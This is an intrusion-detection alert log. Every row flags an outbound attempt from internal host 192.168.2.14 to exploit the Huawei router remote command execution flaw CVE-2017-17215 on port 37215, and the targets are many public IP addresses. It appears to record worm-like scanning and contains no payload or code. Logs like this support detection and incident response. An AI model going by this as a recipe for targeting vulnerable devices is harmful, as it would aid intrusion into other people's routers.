2024-08-01T15:36:24.465628+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60648	37215	192.168.2.14	41.172.175.247
2024-08-01T15:36:26.858093+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54344	37215	192.168.2.14	41.153.95.103
2024-08-01T15:36:57.556531+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43024	37215	192.168.2.14	197.19.138.235
2024-08-01T15:35:16.665029+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37330	37215	192.168.2.14	130.233.217.238
2024-08-01T15:35:40.233656+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34656	37215	192.168.2.14	197.62.84.21
2024-08-01T15:36:01.465127+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39108	37215	192.168.2.14	128.164.219.199
2024-08-01T15:35:20.206204+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37726	37215	192.168.2.14	119.247.203.93
2024-08-01T15:36:09.911050+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53486	37215	192.168.2.14	41.69.184.232
2024-08-01T15:36:06.816217+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55468	37215	192.168.2.14	101.129.41.50
2024-08-01T15:36:37.108180+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41252	37215	192.168.2.14	41.163.102.22
2024-08-01T15:36:55.995704+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58930	37215	192.168.2.14	66.38.179.110
2024-08-01T15:35:20.214892+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46298	37215	192.168.2.14	157.88.117.172
2024-08-01T15:35:21.918938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56016	37215	192.168.2.14	107.13.231.246
2024-08-01T15:36:06.685442+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50250	37215	192.168.2.14	197.132.230.146
2024-08-01T15:35:20.205606+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34606	37215	192.168.2.14	148.245.147.90
2024-08-01T15:36:22.455256+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41216	37215	192.168.2.14	197.234.152.9
2024-08-01T15:35:20.210542+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36062	37215	192.168.2.14	41.117.23.22
2024-08-01T15:35:21.850470+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35198	37215	192.168.2.14	157.182.24.105
2024-08-01T15:35:35.135037+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58746	37215	192.168.2.14	197.123.241.106
2024-08-01T15:35:20.216522+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45024	37215	192.168.2.14	157.12.108.240
2024-08-01T15:35:21.878612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39564	37215	192.168.2.14	197.146.97.77
2024-08-01T15:35:21.838776+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39948	37215	192.168.2.14	23.22.18.80
2024-08-01T15:35:16.601530+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44122	37215	192.168.2.14	197.106.91.113
2024-08-01T15:35:58.633771+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47330	37215	192.168.2.14	157.44.134.32
2024-08-01T15:35:32.996524+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60682	37215	192.168.2.14	197.99.90.196
2024-08-01T15:35:16.476735+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38260	37215	192.168.2.14	107.106.86.9
2024-08-01T15:36:11.962438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43442	37215	192.168.2.14	157.170.156.249
2024-08-01T15:35:17.246291+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54770	37215	192.168.2.14	157.240.104.101
2024-08-01T15:35:20.203558+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45172	37215	192.168.2.14	102.97.63.75
2024-08-01T15:35:20.204668+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45970	37215	192.168.2.14	157.84.4.1
2024-08-01T15:36:24.455138+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37932	37215	192.168.2.14	41.26.131.32
2024-08-01T15:35:20.206888+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52058	37215	192.168.2.14	197.67.216.45
2024-08-01T15:35:20.209690+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51530	37215	192.168.2.14	54.13.239.184
2024-08-01T15:36:22.455723+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60296	37215	192.168.2.14	197.43.204.58
2024-08-01T15:35:16.318234+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51144	37215	192.168.2.14	171.189.230.58
2024-08-01T15:36:11.931726+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52614	37215	192.168.2.14	34.254.228.96
2024-08-01T15:35:21.871567+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54352	37215	192.168.2.14	41.193.83.65
2024-08-01T15:35:40.224485+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36550	37215	192.168.2.14	157.52.151.99
2024-08-01T15:36:53.900021+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55322	37215	192.168.2.14	41.175.68.93
2024-08-01T15:35:53.373554+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53546	37215	192.168.2.14	41.238.44.35
2024-08-01T15:36:57.624970+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36556	37215	192.168.2.14	41.250.24.237
2024-08-01T15:36:34.860646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41216	37215	192.168.2.14	148.38.183.230
2024-08-01T15:36:36.949206+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34014	37215	192.168.2.14	41.152.53.61
2024-08-01T15:35:20.207511+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52428	37215	192.168.2.14	197.104.19.50
2024-08-01T15:35:21.933491+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52256	37215	192.168.2.14	157.207.137.17
2024-08-01T15:35:20.204926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52244	37215	192.168.2.14	76.134.1.80
2024-08-01T15:35:17.170807+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55220	37215	192.168.2.14	77.89.16.248
2024-08-01T15:35:16.681536+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38418	37215	192.168.2.14	115.105.251.29
2024-08-01T15:35:21.905548+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53612	37215	192.168.2.14	63.120.40.133
2024-08-01T15:36:20.315829+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45356	37215	192.168.2.14	41.55.105.149
2024-08-01T15:35:21.866334+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49172	37215	192.168.2.14	157.33.103.177
2024-08-01T15:35:53.374025+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58350	37215	192.168.2.14	157.75.33.43
2024-08-01T15:35:16.448919+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50420	37215	192.168.2.14	157.194.219.212
2024-08-01T15:35:16.602124+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33558	37215	192.168.2.14	157.129.37.247
2024-08-01T15:36:24.902635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40750	37215	192.168.2.14	157.52.152.30
2024-08-01T15:36:18.252372+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43282	37215	192.168.2.14	197.203.166.151
2024-08-01T15:35:20.216219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33046	37215	192.168.2.14	197.75.199.195
2024-08-01T15:36:57.634635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41896	37215	192.168.2.14	197.154.188.198
2024-08-01T15:35:20.545303+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36378	37215	192.168.2.14	197.183.29.85
2024-08-01T15:35:20.205311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37520	37215	192.168.2.14	157.46.42.17
2024-08-01T15:35:20.203689+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57968	37215	192.168.2.14	157.124.238.97
2024-08-01T15:36:46.295843+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47894	37215	192.168.2.14	157.171.172.239
2024-08-01T15:35:50.279237+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58088	37215	192.168.2.14	197.85.134.35
2024-08-01T15:35:16.777126+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60818	37215	192.168.2.14	41.6.248.212
2024-08-01T15:35:21.851777+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59686	37215	192.168.2.14	197.142.142.176
2024-08-01T15:35:20.202964+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53584	37215	192.168.2.14	197.51.113.103
2024-08-01T15:35:35.142615+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59550	37215	192.168.2.14	197.15.195.2
2024-08-01T15:35:21.878653+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40906	37215	192.168.2.14	41.150.42.173
2024-08-01T15:36:01.508414+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42720	37215	192.168.2.14	157.11.208.151
2024-08-01T15:36:57.572942+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57926	37215	192.168.2.14	197.185.77.13
2024-08-01T15:35:58.810784+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46198	37215	192.168.2.14	31.114.56.89
2024-08-01T15:35:31.024628+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51404	37215	192.168.2.14	197.68.187.146
2024-08-01T15:35:53.373898+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35384	37215	192.168.2.14	157.30.209.15
2024-08-01T15:35:20.545815+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50774	37215	192.168.2.14	147.191.79.16
2024-08-01T15:36:44.290989+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53902	37215	192.168.2.14	197.177.221.8
2024-08-01T15:36:28.683845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41630	37215	192.168.2.14	54.122.142.36
2024-08-01T15:34:58.055043+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42980	37215	192.168.2.14	135.126.90.169
2024-08-01T15:35:20.209555+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44072	37215	192.168.2.14	197.133.207.105
2024-08-01T15:36:35.282466+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46338	37215	192.168.2.14	157.202.245.255
2024-08-01T15:35:45.262918+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58094	37215	192.168.2.14	205.186.184.114
2024-08-01T15:36:42.159885+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56448	37215	192.168.2.14	41.186.250.167
2024-08-01T15:36:09.870569+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49744	37215	192.168.2.14	87.205.242.71
2024-08-01T15:35:20.545385+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53684	37215	192.168.2.14	41.49.111.213
2024-08-01T15:35:37.220991+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54794	37215	192.168.2.14	41.188.249.194
2024-08-01T15:35:16.587837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45710	37215	192.168.2.14	157.102.148.103
2024-08-01T15:35:21.928399+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48712	37215	192.168.2.14	197.240.3.195
2024-08-01T15:35:21.928698+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47762	37215	192.168.2.14	198.104.201.44
2024-08-01T15:36:30.755615+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37828	37215	192.168.2.14	47.115.132.232
2024-08-01T15:35:37.225681+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54004	37215	192.168.2.14	157.177.160.23
2024-08-01T15:36:11.949376+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44614	37215	192.168.2.14	197.179.42.172
2024-08-01T15:35:25.949819+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44812	37215	192.168.2.14	41.37.70.213
2024-08-01T15:35:32.992468+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53402	37215	192.168.2.14	157.173.107.1
2024-08-01T15:36:24.460012+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47180	37215	192.168.2.14	124.66.157.247
2024-08-01T15:35:50.305705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52212	37215	192.168.2.14	157.196.27.196
2024-08-01T15:36:51.575892+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38260	37215	192.168.2.14	197.177.221.190
2024-08-01T15:35:50.304407+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36254	37215	192.168.2.14	197.94.201.235
2024-08-01T15:35:21.827172+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37854	37215	192.168.2.14	197.224.170.133
2024-08-01T15:35:21.860857+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36370	37215	192.168.2.14	157.108.237.235
2024-08-01T15:35:43.379573+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45886	37215	192.168.2.14	157.162.123.101
2024-08-01T15:36:49.568678+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43342	37215	192.168.2.14	157.184.140.185
2024-08-01T15:34:58.173391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55838	37215	192.168.2.14	166.129.216.186
2024-08-01T15:35:20.214802+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49140	37215	192.168.2.14	197.242.163.116
2024-08-01T15:35:20.204075+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35996	37215	192.168.2.14	162.197.87.219
2024-08-01T15:36:24.458394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46174	37215	192.168.2.14	41.188.171.241
2024-08-01T15:35:20.206594+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47554	37215	192.168.2.14	152.232.93.173
2024-08-01T15:35:20.203436+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50912	37215	192.168.2.14	157.97.41.229
2024-08-01T15:36:44.182086+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40264	37215	192.168.2.14	157.63.243.206
2024-08-01T15:35:20.206340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48714	37215	192.168.2.14	197.176.24.104
2024-08-01T15:36:14.808062+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55824	37215	192.168.2.14	197.229.163.234
2024-08-01T15:35:45.283787+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60650	37215	192.168.2.14	140.82.165.93
2024-08-01T15:36:22.337845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48222	37215	192.168.2.14	157.245.157.212
2024-08-01T15:35:21.873845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42758	37215	192.168.2.14	197.78.203.22
2024-08-01T15:36:32.778050+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58170	37215	192.168.2.14	157.66.28.177
2024-08-01T15:36:44.181664+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44822	37215	192.168.2.14	157.97.124.150
2024-08-01T15:35:20.204165+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55860	37215	192.168.2.14	157.186.91.72
2024-08-01T15:35:21.854758+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47586	37215	192.168.2.14	41.98.161.227
2024-08-01T15:36:51.576146+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49222	37215	192.168.2.14	157.235.253.75
2024-08-01T15:36:06.714600+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54054	37215	192.168.2.14	197.226.252.101
2024-08-01T15:35:16.406686+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39712	37215	192.168.2.14	41.59.74.157
2024-08-01T15:35:37.208777+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47030	37215	192.168.2.14	197.157.59.71
2024-08-01T15:36:15.124981+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49210	37215	192.168.2.14	157.247.189.13
2024-08-01T15:35:53.373198+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60268	37215	192.168.2.14	41.126.147.154
2024-08-01T15:36:16.181139+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34592	37215	192.168.2.14	157.166.218.44
2024-08-01T15:36:20.308009+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56870	37215	192.168.2.14	41.216.76.86
2024-08-01T15:35:21.870130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51006	37215	192.168.2.14	41.141.59.33
2024-08-01T15:36:09.883152+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43660	37215	192.168.2.14	157.153.159.141
2024-08-01T15:36:11.914266+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48714	37215	192.168.2.14	197.81.231.255
2024-08-01T15:35:20.210493+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50872	37215	192.168.2.14	41.124.168.112
2024-08-01T15:35:28.720864+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58608	37215	192.168.2.14	17.63.135.191
2024-08-01T15:35:20.204804+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48492	37215	192.168.2.14	99.6.122.63
2024-08-01T15:35:53.373456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40754	37215	192.168.2.14	197.32.243.134
2024-08-01T15:36:57.544943+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53278	37215	192.168.2.14	197.149.203.170
2024-08-01T15:35:43.378332+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48916	37215	192.168.2.14	41.211.47.115
2024-08-01T15:35:21.905351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38492	37215	192.168.2.14	197.130.251.3
2024-08-01T15:36:14.827522+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50160	37215	192.168.2.14	199.159.214.189
2024-08-01T15:35:16.573919+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56542	37215	192.168.2.14	41.140.10.97
2024-08-01T15:35:47.260470+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48154	37215	192.168.2.14	197.6.83.129
2024-08-01T15:36:14.810786+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34530	37215	192.168.2.14	197.230.49.115
2024-08-01T15:35:20.206127+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58824	37215	192.168.2.14	17.213.200.107
2024-08-01T15:36:34.860105+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47630	37215	192.168.2.14	123.154.176.26
2024-08-01T15:36:22.369433+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44568	37215	192.168.2.14	197.155.214.106
2024-08-01T15:35:21.895230+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52230	37215	192.168.2.14	41.52.107.254
2024-08-01T15:36:56.000160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39966	37215	192.168.2.14	157.169.198.211
2024-08-01T15:35:16.591466+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53244	37215	192.168.2.14	197.75.43.144
2024-08-01T15:36:29.403276+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47862	37215	192.168.2.14	157.104.242.98
2024-08-01T15:35:21.843658+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54662	37215	192.168.2.14	48.237.246.202
2024-08-01T15:36:09.871331+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43632	37215	192.168.2.14	197.230.169.112
2024-08-01T15:35:40.224112+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46194	37215	192.168.2.14	157.170.11.131
2024-08-01T15:36:01.448441+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49008	37215	192.168.2.14	41.89.175.178
2024-08-01T15:36:18.262625+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42832	37215	192.168.2.14	197.134.223.142
2024-08-01T15:36:44.216578+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39330	37215	192.168.2.14	197.248.242.52
2024-08-01T15:35:21.828798+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58852	37215	192.168.2.14	97.250.45.42
2024-08-01T15:35:35.122032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41040	37215	192.168.2.14	116.121.147.109
2024-08-01T15:35:17.176407+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50974	37215	192.168.2.14	197.30.140.131
2024-08-01T15:36:48.387889+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45048	37215	192.168.2.14	197.18.34.101
2024-08-01T15:35:20.216256+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43460	37215	192.168.2.14	157.12.156.65
2024-08-01T15:35:20.203784+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47630	37215	192.168.2.14	41.235.161.222
2024-08-01T15:35:16.316346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60640	37215	192.168.2.14	197.95.7.206
2024-08-01T15:35:21.921231+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58878	37215	192.168.2.14	41.197.214.17
2024-08-01T15:35:32.992292+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56152	37215	192.168.2.14	197.123.104.39
2024-08-01T15:36:39.590880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60240	37215	192.168.2.14	1.147.20.219
2024-08-01T15:35:17.176706+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33428	37215	192.168.2.14	157.7.123.100
2024-08-01T15:35:21.905814+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40058	37215	192.168.2.14	41.164.149.143
2024-08-01T15:35:21.861631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46654	37215	192.168.2.14	119.19.55.36
2024-08-01T15:36:06.736235+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52544	37215	192.168.2.14	197.138.60.31
2024-08-01T15:35:21.867218+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58120	37215	192.168.2.14	157.138.174.217
